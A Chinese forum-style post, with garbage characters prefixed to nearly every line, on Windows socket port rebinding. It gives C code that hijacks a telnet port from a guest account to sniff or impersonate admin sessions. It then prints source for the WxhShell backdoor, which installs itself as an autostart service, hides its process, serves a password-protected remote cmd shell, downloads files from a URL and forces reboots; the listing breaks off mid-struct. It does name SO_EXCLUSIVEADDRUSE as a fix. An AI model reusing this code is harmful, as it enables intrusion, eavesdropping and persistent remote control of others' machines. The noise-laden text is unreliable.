在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s~{rC{9X s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
E_~e/y"- vb[0H{TT2 saddr.sin_family = AF_INET;
'9!_:3[d\] (#y2RF8j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
g7! LX[ C<_\{de|9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
xT 06*wQ ;+DEU0|pe 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^`!+7! ^'=[+ 这意味着什么?意味着可以进行如下的攻击:
deAV:c }W^@mi
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
C`r:jA<LC, kSV(T'#x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^mLX}E] rCF=m]1zxT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
g)6>=Qo`8E (kR
NqfX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
\0~?i6o rf=l1GW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<P#BQt f E2M<I;:EA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
QqQhQ GV \lG) J0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
)(,O~w 4^r6RS@z #include
m]V#fRC #include
\d;)U4__! #include
*sldv #include
,Vq$>T@z DWORD WINAPI ClientThread(LPVOID lpParam);
vu)EB!%[ int main()
'!A}.wF0 {
{Fwvuk WORD wVersionRequested;
F^/KD<cgK DWORD ret;
9C)VW WSADATA wsaData;
O1~7#nJ*4[ BOOL val;
|@_<^cV110 SOCKADDR_IN saddr;
&?y@`',a0{ SOCKADDR_IN scaddr;
Ub\^3f int err;
+ZbNSN= SOCKET s;
VLV]e_D6s SOCKET sc;
pnuo;r s int caddsize;
~qZ6I)? HANDLE mt;
4 xqzdR_ DWORD tid;
:4AIYk=q wVersionRequested = MAKEWORD( 2, 2 );
w)|9iL8 err = WSAStartup( wVersionRequested, &wsaData );
pfZ[YC- if ( err != 0 ) {
FdE?uw printf("error!WSAStartup failed!\n");
'4M{Xn}@ return -1;
m!KEK\5M? }
3UXZ|!- saddr.sin_family = AF_INET;
g$NUu L*4"D4V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Gx$m"Jeq\ 3ibQbk saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{X<g93 saddr.sin_port = htons(23);
J;~YD$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Aa_@&e {
gHc1_G] printf("error!socket failed!\n");
;:Z5Ft m return -1;
2 T} >9X }
~D@ YLW1z( val = TRUE;
0rL.~2)V //SO_REUSEADDR选项就是可以实现端口重绑定的
Lxv;[2XsW) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
JkN*hm? {
CKHmJ]= printf("error!setsockopt failed!\n");
' Z#_"s#L return -1;
D7nK"]HG;l }
T%oJmp?0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-ysNo4#e& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cBqbbZyUk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
d BB?A~ Rd HCb k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
IuP~Vt{m {
hiibPc?I ret=GetLastError();
z2{y<a9;? printf("error!bind failed!\n");
mKu,7nMvF return -1;
-BP10-V }
)C"ixZ>2xQ listen(s,2);
$1 B?@~& while(1)
%0 {_b68x {
x*:VE57,z caddsize = sizeof(scaddr);
U]}F A2 //接受连接请求
eH7x>[lH. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Io*H}$Gf if(sc!=INVALID_SOCKET)
m#_Rv {
qCI7)L` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
\]4EAKJE if(mt==NULL)
lr4wz(q<9 {
7_PY%4T" printf("Thread Creat Failed!\n");
zWU]4;," break;
I4%kYp] }
[K,P)V>K }
3O;H& CloseHandle(mt);
m8PS84."]M }
lTu& 9) closesocket(s);
im9w|P 5 WSACleanup();
E oixw8hz return 0;
1#cTk }
qE2VUEv5Y DWORD WINAPI ClientThread(LPVOID lpParam)
pTGGJ, {
UapU:>!"` SOCKET ss = (SOCKET)lpParam;
VqvjOeCbH SOCKET sc;
.'A1Eoo0d unsigned char buf[4096];
;^bfLSWm{ SOCKADDR_IN saddr;
[ KgO:},c long num;
),vDn}> DWORD val;
d)V8FX,t DWORD ret;
EPn!6W5^ //如果是隐藏端口应用的话,可以在此处加一些判断
5-GS@fY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~}j+~ saddr.sin_family = AF_INET;
)EB+(c~E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vu@.;-2E% saddr.sin_port = htons(23);
'fl.&"/r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{H(l"KuL {
Pb;c:HeI/ printf("error!socket failed!\n");
7'esJ)2 return -1;
E,tdn#_| }
`B"sy8}x val = 100;
"~r)_Ko if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
, d $"`W2 {
$.C-_L ret = GetLastError();
m
W>Iib| return -1;
>v, si]. }
6\I^]\YO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tqpO3 {
@Q,Q"c2 ret = GetLastError();
O!nS3%De return -1;
!@ ]IJ"\ }
*GoTN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
r!fUMDS {
g/f6N
z printf("error!socket connect failed!\n");
XxMZU(5 closesocket(sc);
=K0%bI closesocket(ss);
gIz!~I_U return -1;
v[|W\y@H/3 }
3e'6A ^# while(1)
hsY?og_H {
o$</At //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
jr0j0$BF //如果是嗅探内容的话,可以再此处进行内容分析和记录
d2Q*1Q@u //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
8cOft ;|qB num = recv(ss,buf,4096,0);
4j=K3m if(num>0)
JqMF9|{H send(sc,buf,num,0);
6Jq[]l"v else if(num==0)
,k~' S~w. break;
%gO/mj3* num = recv(sc,buf,4096,0);
5\z<xpJ if(num>0)
8>[g/%W send(ss,buf,num,0);
CnL=s6XD' else if(num==0)
PlH~um[J break;
-!_8>r;Q4 }
3%?tUt closesocket(ss);
}~+,x# closesocket(sc);
#at`7#K@ return 0 ;
z
mip }
4zS0kk;+ =[]6NjKS, $O*@Jg= ==========================================================
cg3}33Z;6 $2h%IK>#G 下边附上一个代码,,WXhSHELL
}ww/e\|Nt= R]X 0D. ==========================================================
pAatv;Ex 3<W%z]k@M #include "stdafx.h"
:6lv X$ MBg[hu% #include <stdio.h>
!5lV#w!vb #include <string.h>
an"~n`g #include <windows.h>
J?3/L&seA #include <winsock2.h>
)pHlWi|h #include <winsvc.h>
GqR XNs! #include <urlmon.h>
VSY p h*l$!nEN #pragma comment (lib, "Ws2_32.lib")
=XR6rR8 #pragma comment (lib, "urlmon.lib")
#{|cSaX< Cty#|6k #define MAX_USER 100 // 最大客户端连接数
m4@NW*G{ #define BUF_SOCK 200 // sock buffer
-:ucp2 #define KEY_BUFF 255 // 输入 buffer
Oh$:qu7o0& $!>.h*np #define REBOOT 0 // 重启
P!|Z%H #define SHUTDOWN 1 // 关机
PX|@D_%Y= &$/
#"lW,V #define DEF_PORT 5000 // 监听端口
d)vP9vXy nte?a e #define REG_LEN 16 // 注册表键长度
K#Ck,Y" #define SVC_LEN 80 // NT服务名长度
lcZ.}
*z VN6wG{ // 从dll定义API
Ll|_Wd.K, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`?Q
p>t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
wv3,%
lN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
QKj0~ia
5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
HGGq;Nbm `RnWh9 // wxhshell配置信息
'3672wF/ struct WSCFG {
Ldjz- int ws_port; // 监听端口
S/5QK(XLC) char ws_passstr[REG_LEN]; // 口令
nFn!6,>E int ws_autoins; // 安装标记, 1=yes 0=no
z;S-Q, char ws_regname[REG_LEN]; // 注册表键名
3>1^$0iq char ws_svcname[REG_LEN]; // 服务名
nf
/*n char ws_svcdisp[SVC_LEN]; // 服务显示名
p?Azn>qBa char ws_svcdesc[SVC_LEN]; // 服务描述信息
*7Q6b 4~" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
EB*sd S int ws_downexe; // 下载执行标记, 1=yes 0=no
2;
^ME\
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
2HFn\kjj.s char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1'<C-[1
Bx#i?=*W };
.}!.4J%q2 7_i8'(`` // default Wxhshell configuration
RHC ZP struct WSCFG wscfg={DEF_PORT,
mF*x&^ie "xuhuanlingzhe",
~+dps i 1,
GjhTF| "Wxhshell",
!CYC7HeF "Wxhshell",
0M HiW= "WxhShell Service",
Ax=HDW} "Wrsky Windows CmdShell Service",
T-%=tY+- "Please Input Your Password: ",
Eu?z! 1,
tVn?cS "
http://www.wrsky.com/wxhshell.exe",
R7bG!1SHl "Wxhshell.exe"
/g<Oh{o8 };
27eG8 kMQ
/9~ // 消息定义模块
_HUbE / char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Q6Gw!!Z5EA char *msg_ws_prompt="\n\r? for help\n\r#>";
zi-_ l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#Lhv=0op char *msg_ws_ext="\n\rExit.";
Ki;SONSV~| char *msg_ws_end="\n\rQuit.";
-x//@8" char *msg_ws_boot="\n\rReboot...";
/WTEz\k char *msg_ws_poff="\n\rShutdown...";
ss)x
fG char *msg_ws_down="\n\rSave to ";
f4f2xe7\Q _B^zm-}8|B char *msg_ws_err="\n\rErr!";
~18a&T: char *msg_ws_ok="\n\rOK!";
WBE>0L Z4VFfGCTL char ExeFile[MAX_PATH];
\~5|~|9< int nUser = 0;
q7X]kr*qx HANDLE handles[MAX_USER];
!&VfOx:PN int OsIsNt;
8?+|4:#=*J .Fn|Okn^gr SERVICE_STATUS serviceStatus;
*HKw;I
SERVICE_STATUS_HANDLE hServiceStatusHandle;
>aVgI<
]b4IO4T // 函数声明
$,4h\>1WP int Install(void);
@gI1:-chB int Uninstall(void);
fM;,9 int DownloadFile(char *sURL, SOCKET wsh);
Rg?6e N int Boot(int flag);
zU?O)w1' void HideProc(void);
/}? 7Eni int GetOsVer(void);
2zTi/&K& int Wxhshell(SOCKET wsl);
w"^h<]b void TalkWithClient(void *cs);
dVQ[@u1, int CmdShell(SOCKET sock);
X06Lr!-% int StartFromService(void);
e,U:H~+] int StartWxhshell(LPSTR lpCmdLine);
]Ox5F@ BR2Gb~#T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
eTuqK23 VOID WINAPI NTServiceHandler( DWORD fdwControl );
zK<af g":[rXvId // 数据结构和表定义
75^6?#GS SERVICE_TABLE_ENTRY DispatchTable[] =
W:d
p(,L {
x}] 56f {wscfg.ws_svcname, NTServiceMain},
BN_h3|) {NULL, NULL}
|9I)YD };
ix3LB!k< Zl9@E;|= // 自我安装
L)sgW(@2 int Install(void)
/'/I^ab {
qyH-Z@ char svExeFile[MAX_PATH];
isZ5s\ HKEY key;
"D(Lp*3hj& strcpy(svExeFile,ExeFile);
`R[Hxi .hl_zc# // 如果是win9x系统,修改注册表设为自启动
bNea5u## if(!OsIsNt) {
Aedf (L7\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ww7Ya]b.k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I~GF%$-G RegCloseKey(key);
iM+`7L' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-JMn?] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-pu5O9
@ RegCloseKey(key);
^xZh@e5 return 0;
HK@ij,px }
.Bm% }
"j^i6RS }
(
ayAP else {
fj_23{,/"g {7NGfzwp;6 // 如果是NT以上系统,安装为系统服务
>fPo_@O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
QZ a.c if (schSCManager!=0)
/DYyl/ {
X]0>0=^ SC_HANDLE schService = CreateService
<L&EH@T (
yayhL
DL schSCManager,
OK[J
h wscfg.ws_svcname,
{K,In)4 wscfg.ws_svcdisp,
*%j$i_ SERVICE_ALL_ACCESS,
Y=Vbs x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%Y^J'' SERVICE_AUTO_START,
Luq4q95] SERVICE_ERROR_NORMAL,
a{5SOe;; svExeFile,
y~SVD@ NULL,
J+6zV m NULL,
@A/k"Ax{r NULL,
_P;D.>? NULL,
[,zq NULL
uw)7N(os\` );
ym%UuC3^w if (schService!=0)
&gXh:. {
4QL>LK CloseServiceHandle(schService);
'%Ng lC[J CloseServiceHandle(schSCManager);
K+B978XD strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%Sr+D{B strcat(svExeFile,wscfg.ws_svcname);
7},A.q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
;a:H-iC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)BP*|URc RegCloseKey(key);
tdy2ZPVtTV return 0;
mDB }
V>Wk\'h }
Zi!Ta"}8 CloseServiceHandle(schSCManager);
r* *zjv> }
M([#Py9h }
o96C^y{~S xs$$fPAQ return 1;
n<I{x^! }
iGN\ >m} _fGTTw( // 自我卸载
cnv>&6a) int Uninstall(void)
tXD$HeBB? {
bzgC+yT HKEY key;
\o9 \ikR zw0w."V
if(!OsIsNt) {
XX6Z|Y5. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"t@p9> RegDeleteValue(key,wscfg.ws_regname);
9Em#Ela RegCloseKey(key);
*XVwTW[a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r"h;JC/&<T RegDeleteValue(key,wscfg.ws_regname);
[Kgb#L'{ RegCloseKey(key);
mgs(n5V5 return 0;
a?cJl }
!vnQ;g5 }
UO/sv2CN }
:+rGBkw1m else {
#(8|9 qUe
_B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pSZ2>^"; if (schSCManager!=0)
6cQgp]% {
1>!LK_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gq?:n.;TY if (schService!=0)
+6m.f,14q {
d0cL9&~qW if(DeleteService(schService)!=0) {
Qzi?%& CloseServiceHandle(schService);
Szu s*YL7 CloseServiceHandle(schSCManager);
y_]+;% w: return 0;
@ZKf3,J0 }
W
U(_N*a CloseServiceHandle(schService);
,$P,x }
FR&`R CloseServiceHandle(schSCManager);
1H)mJVIKkB }
~Bd=]a$mj }
$o^Z$VmL JzHG5nmB return 1;
NW3c_]`= }
eim +oms my=f}%k= // 从指定url下载文件
RaZ>.5
D int DownloadFile(char *sURL, SOCKET wsh)
92+8zX {
Cs,H#L HRESULT hr;
Ucj?$= char seps[]= "/";
ZykMri3bi char *token;
W:w~ M'o char *file;
s}D>.9 char myURL[MAX_PATH];
]BQYVx/ char myFILE[MAX_PATH];
r-2k<#^r {7o#Ve strcpy(myURL,sURL);
ab0Sx token=strtok(myURL,seps);
gT+/nSrLV while(token!=NULL)
enoj4g7em^ {
i;[y!U file=token;
FhE{khc# token=strtok(NULL,seps);
1v o)]ff }
azcPeAe +2tQFV; GetCurrentDirectory(MAX_PATH,myFILE);
==[,;g
x strcat(myFILE, "\\");
,S)r%[ru^ strcat(myFILE, file);
/@os*c|je send(wsh,myFILE,strlen(myFILE),0);
+SJ.BmT send(wsh,"...",3,0);
{K(mfTqm hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
IG-\& if(hr==S_OK)
N^^0j, return 0;
:5d>^6eoB? else
K%^n. return 1;
BHXi g~d OWd'z1Yl }
GkIE;7#2kX *bkb-nKw // 系统电源模块
!> UlvT- int Boot(int flag)
{Gxe%gu6K {
7
,Rg~L HANDLE hToken;
:Pud%}' TOKEN_PRIVILEGES tkp;
c:R?da "Fz.#U if(OsIsNt) {
"gM^o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>rnVTK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Z$oy;j99y tkp.PrivilegeCount = 1;
h}bfZL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
E?m~DYnU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
q76POytV| if(flag==REBOOT) {
'CLZ7pV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
qnm_#!&uHT return 0;
(8 nv&| }
h}b:-a else {
xNz(LZ.c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#-hO\
QdC return 0;
*kr/,_K }
>rG>Bz^Pu }
LQ0/oYmNc else {
yNu_>!Cp5 if(flag==REBOOT) {
{.Tx70kn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^l &lwSRVt return 0;
:_{8amO }
UD I{4+z else {
n:j'0WW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%>_[b, return 0;
GAGS-G# }
f^c+M~\JKj }
qsj{0 Go {C1crp>q return 1;
A~ya{^} }
sXKkZ+2q lU
WXXuO] // win9x进程隐藏模块
7Z-j'pq void HideProc(void)
Z%T Ajm {
SnCwoxK %E?Srs}j HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Vns3859$8 if ( hKernel != NULL )
t0)1;aBZ {
VK}4<u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{@Wv@H+4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
rTD +7
)E FreeLibrary(hKernel);
?vXgHDs^T }
gLiJ&H 6W1GvM\e return;
dBWny& }
b
F=MQ s.3"2waZ=T // 获取操作系统版本
]5Cr$%H= int GetOsVer(void)
,5DJ54B! {
b|#=kPVgL} OSVERSIONINFO winfo;
A^U84kV= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
OV>&`puL GetVersionEx(&winfo);
^@fD{]I if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,0l
Od< return 1;
U,<m%C" else
%Ymi,o> return 0;
HB07 n4 | }
=C %)(| bQ<qdGa // 客户端句柄模块
f@*69a8 int Wxhshell(SOCKET wsl)
;p`1Y<d-O {
AGhenDNV SOCKET wsh;
*X5)9dq struct sockaddr_in client;
Pz4#>tP DWORD myID;
"k zKQ~ V&mkS while(nUser<MAX_USER)
I16FVdUun4 {
;Iu _*U9) int nSize=sizeof(client);
Met?G0[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{gMe<y if(wsh==INVALID_SOCKET) return 1;
k
%I83,+ 8NN+Z< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
hCxg6e<[ if(handles[nUser]==0)
)>a~ %~: closesocket(wsh);
F/Goq` else
F>;Wbk&[| nUser++;
V"Q\7,_k. }
?_Qe45 @ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/A_:`MAZ Z0gtliJ@ return 0;
w[~G^x& }
*&U~Io"U F)3+IuY // 关闭 socket
lyn%r void CloseIt(SOCKET wsh)
TrI+F+; {
R'BB- closesocket(wsh);
:e<jD_.X nUser--;
T"wg/mT ExitThread(0);
mV0,T*}e }
yC'
y>f`H 2>z YJqG| // 客户端请求句柄
}YwaN'3p! void TalkWithClient(void *cs)
1?@HOu {
yT^x0?U CmEqo;Is SOCKET wsh=(SOCKET)cs;
'g#%> char pwd[SVC_LEN];
)~2\4t4|g char cmd[KEY_BUFF];
\JLGw1F char chr[1];
@K;b7@4y int i,j;
`}X3f#eO& 5F kdGF while (nUser < MAX_USER) {
F5)`FM^R IjI'Hx if(wscfg.ws_passstr) {
!do`OEQKR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6w.E Sm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vCa8`m //ZeroMemory(pwd,KEY_BUFF);
3%v)!dTa<^ i=0;
*l5?_tF while(i<SVC_LEN) {
4uF.kz-cg 8Vu@awz{L // 设置超时
Okq,p=D6 fd_set FdRead;
DrRK Sc(u9 struct timeval TimeOut;
+n^M+ea; FD_ZERO(&FdRead);
-()WTdIy FD_SET(wsh,&FdRead);
qS?o22 TimeOut.tv_sec=8;
p
fc6;K:d TimeOut.tv_usec=0;
W(q3m;n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'-wmY?ZFxy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
pcMzLMG< vh,(]t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Emlj,c<?j pwd
=chr[0]; *)m:u :
if(chr[0]==0xd || chr[0]==0xa) { \ `Hp/D1
pwd=0; ?N kKDvv
break; Ny^ 1#R
} !73y(Y%TE
i++; *g5bdQ:Av~
} &ALnE:F
hHJiGVJ=V
// 如果是非法用户,关闭 socket "'4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j6%W+;{/pj
} Q-x>yau"
#X Q/y} (
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^s~)"2 g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "GMU~594
ZP";B^J
while(1) { <83Ky;ry
~ l}f@@u
ZeroMemory(cmd,KEY_BUFF); !y_FbJ8KC
A6(Do]M
// 自动支持客户端 telnet标准 Y?^liI`#
j=0; o30C\
while(j<KEY_BUFF) { }`=7%b`-?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e=;A3S
cmd[j]=chr[0]; h'y"`k-
if(chr[0]==0xa || chr[0]==0xd) { yr\ClIU
cmd[j]=0; 0%%1:W-
break; Jn+ -G4h$
} ?Q:SVxzUd
j++; w=KfkdAJ*/
} pg{VKrT`
-
2)k!5X=
// 下载文件 pRQ7rT',v
if(strstr(cmd,"http://")) { TV{GHB!p"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t6Iy5)=zY
if(DownloadFile(cmd,wsh)) 3IxC@QR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bEcs(Mc~
else gIo\^ktW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aM5]cc%
} ?/|Xie
else { E/cV59
^E}?YgNp
switch(cmd[0]) { h,/Aq
)kep:-wm
// 帮助 aRTy=~
case '?': { 're:_;lG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FJn-cR.n
break; o~$O$
} Bx45yaT
// 安装 A]c'TT@6
case 'i': { bM?gAY]mB8
if(Install()) &S4*x|-C&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fk=SkSky
else XG|N$~N+ 2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }
=OE.cf@
break; Kx9u|fp5
} y:)^*2GA-B
// 卸载 *JK0X
case 'r': { ]:e_Y,@
if(Uninstall()) izP)t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C0N
:z.)4
else l"ms:v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B[8bkFS>]
break; s{b\\$Rb
} Jc":zR@5
// 显示 wxhshell 所在路径 O9daeIF0#
case 'p': { GDSV:]hL
char svExeFile[MAX_PATH]; }=X: F1S
strcpy(svExeFile,"\n\r"); Q6m8N
strcat(svExeFile,ExeFile); q|*^{(tWs
send(wsh,svExeFile,strlen(svExeFile),0); 3(e_2v
break; [9sEc
} G&S2U=KdV%
// 重启 tV!?Ol
case 'b': { t:2DB)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $udhTI#,
if(Boot(REBOOT)) 44KoOY_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4jXo5SkEJ
else { &
/8Tth86
closesocket(wsh); 40?RiwwD
ExitThread(0); qyM/p.mP
} J>(X0@eWz
break; TuQGF$n@
} QIiy\E%
// 关机 h0<PQZJ
case 'd': { ROFZ*@CH<
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xhP~]akHN7
if(Boot(SHUTDOWN))
ZiUb+;JA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =}Tm8b0
else { sD3ZZcy|=
closesocket(wsh); Z3]I^i
FI
ExitThread(0); 9gg{i6
} /\%<VBx ?q
break; rZ?:$],U!
} JpS}X\]i
// 获取shell JP4DV=}L
case 's': { AW5iwq6p
CmdShell(wsh); ET.jjV
closesocket(wsh); c)#P}Ai
ExitThread(0); l5-[a
break; !<M
eWo
} )JzY%a SP
// 退出 uzdPA'u
case 'x': { T^ktfgXq
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Ms]\<^j
CloseIt(wsh); g-qXS]y7
break; >NUbk9}J4
} u%C oo
// 离开 n#+EG3
case 'q': { F` ybe\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <UGaIb
closesocket(wsh); N|DfE{,
WSACleanup(); Gd!-fqNa'x
exit(1); ?Ek)" l
break; D[+LU(
} hC2Fup1 @
} `n$Ak5f
} Z1 Nep!
z>N[veX%
// 提示信息 :7K
a4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Et3]n$
} /x49!8
} 0j@mzd2
'?C6P5fm
return; 7Bj,{9^aJ
} MhN;GMH
I/7!5Z*
// shell模块句柄 t^'nh
1=
int CmdShell(SOCKET sock) E !!,JnU
{ M">v4f&K1!
STARTUPINFO si; jz8u'y[n7
ZeroMemory(&si,sizeof(si)); cUq]PC$|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P3"R2-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *
BM|luYL
PROCESS_INFORMATION ProcessInfo; vX:}tir[
char cmdline[]="cmd"; 9[qOfIny
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d<-f:}^k0
return 0; D;YfQQr
} P}4&J ^
pX%:XpC!h
// 自身启动模式 n%3!)/$
int StartFromService(void) | In{5Ek
{ l\Ozy
typedef struct _*~F1% d
{ G!j 9D
DWORD ExitStatus; r~,y3L6ic
DWORD PebBaseAddress; /V,xSK9.&
DWORD AffinityMask; R&cTMd
DWORD BasePriority; vgeqH[:
